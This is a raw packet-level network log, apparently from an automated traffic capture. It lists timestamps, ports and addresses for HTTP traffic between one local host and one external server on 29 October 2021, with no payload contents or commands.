Oct 29, 2021 20:11:02.873779058 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.873791933 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873800993 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.873809099 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873825073 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873841047 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873847961 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.873857975 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873874903 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873877048 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.873891115 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873897076 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.873907089 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873923063 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873930931 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.873939991 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873955965 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873971939 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873975992 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.873989105 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874002934 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.874005079 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874021053 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874033928 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.874037027 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874053955 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874069929 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.874070883 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874088049 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874102116 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.874104023 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874120951 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874124050 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.874136925 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874152899 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874169111 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.874169111 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874185085 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874201059 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874207973 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.874217987 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874226093 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.874233961 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874249935 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874258995 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.874267101 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874284983 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874300957 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874309063 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.874316931 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874332905 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874335051 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.874349117 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874356031 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.874366045 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874382973 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874387026 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.874398947 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874414921 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874423027 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.874430895 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874445915 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874459028 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.874463081 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874479055 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874486923 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.874495029 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874511957 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.874527931 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.874556065 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.883857965 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.926799059 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.926858902 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.926901102 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.926924944 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.926939011 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.926976919 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927016020 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927042007 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.927052975 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927076101 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.927090883 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927129030 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927139044 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.927167892 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927206993 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927220106 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.927243948 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927282095 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927320957 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927323103 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.927356958 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927361012 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.927395105 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927432060 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927469015 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927474976 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.927508116 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927519083 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.927545071 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927583933 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927622080 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927627087 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.927674055 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.927675009 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927716970 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927756071 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927792072 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927800894 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.927829027 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927834034 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.927867889 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927903891 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927942038 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927952051 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.927979946 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.927983046 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.928018093 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.928056955 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.928092003 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.928102016 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.928131104 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.928137064 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.928169966 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.928205967 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.928244114 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.928256035 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.928282022 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.928287029 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.928320885 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.928359985 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.928388119 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.928405046 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.928450108 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.928451061 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.928491116 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.928527117 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.928564072 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.928579092 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.928607941 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.928620100 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.928646088 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.928683043 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.928721905 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.928731918 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.928757906 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.928771973 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.928796053 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.928833961 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.928888083 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.928940058 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.928981066 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.928991079 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.929018021 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.929054976 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.929092884 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.929102898 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.929128885 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.929132938 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.929167032 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.930915117 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.981559992 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.981590033 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.981610060 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.981630087 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.981650114 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.981671095 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.981689930 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.981709957 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.981712103 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.981729984 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.981731892 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.981750011 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.981755972 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.981770039 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.981790066 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.981791019 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.981811047 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.981832027 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.981838942 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.981852055 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.981868029 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.981872082 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.981893063 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.981913090 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.981930971 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.981933117 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.981952906 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.981959105 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.981972933 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.981988907 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.981993914 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982013941 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982033968 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982040882 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.982054949 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982067108 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.982074976 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982095957 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982110023 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.982115984 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982136011 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982156992 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982177019 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982177019 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.982197046 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982197046 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.982217073 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982234955 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.982235909 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982256889 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982270002 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.982350111 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982424974 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982465029 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982467890 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.982486010 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982496977 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.982506990 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982527971 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982559919 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982568026 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.982579947 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982598066 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.982600927 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982620955 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982639074 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.982640028 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982661009 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982676029 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.982681036 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982702971 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982724905 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982743979 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982764006 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982767105 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.982784986 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982804060 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982805014 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.982824087 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982844114 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982856035 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.982863903 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982884884 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982892036 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.982904911 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982924938 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982925892 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.982945919 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982964993 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.982968092 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.982985020 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.983005047 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.983017921 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.983026981 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.983048916 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.983052969 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.983067989 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.983088970 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.983093023 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.983109951 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.983129025 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.983130932 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.983149052 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.983169079 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.983180046 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.983189106 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.983210087 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.983217001 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.983228922 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.983253002 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.983901978 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.035459995 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.035495996 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.035521030 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.035528898 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.035545111 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.035567999 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.035572052 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.035592079 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.035614967 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.035630941 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.035644054 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.035666943 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.035670996 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.035690069 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.035713911 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.035716057 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.035737038 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.035758972 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.035762072 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.035783052 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.035805941 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.035828114 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.035829067 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.035849094 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.035870075 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.035872936 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.035892963 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.035902977 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.035917997 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.035939932 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.035960913 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.035964966 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.035984039 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.035991907 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.036007881 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036031008 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036040068 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.036052942 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036076069 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036098957 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036098957 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.036122084 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036123991 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.036145926 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036168098 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036170959 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.036190987 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036212921 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036215067 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.036235094 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036257982 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036258936 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.036286116 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036308050 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036309958 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.036330938 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036353111 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036375046 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036384106 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.036400080 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.036407948 CEST	49839	80	192.168.2.5	185.98.87.159
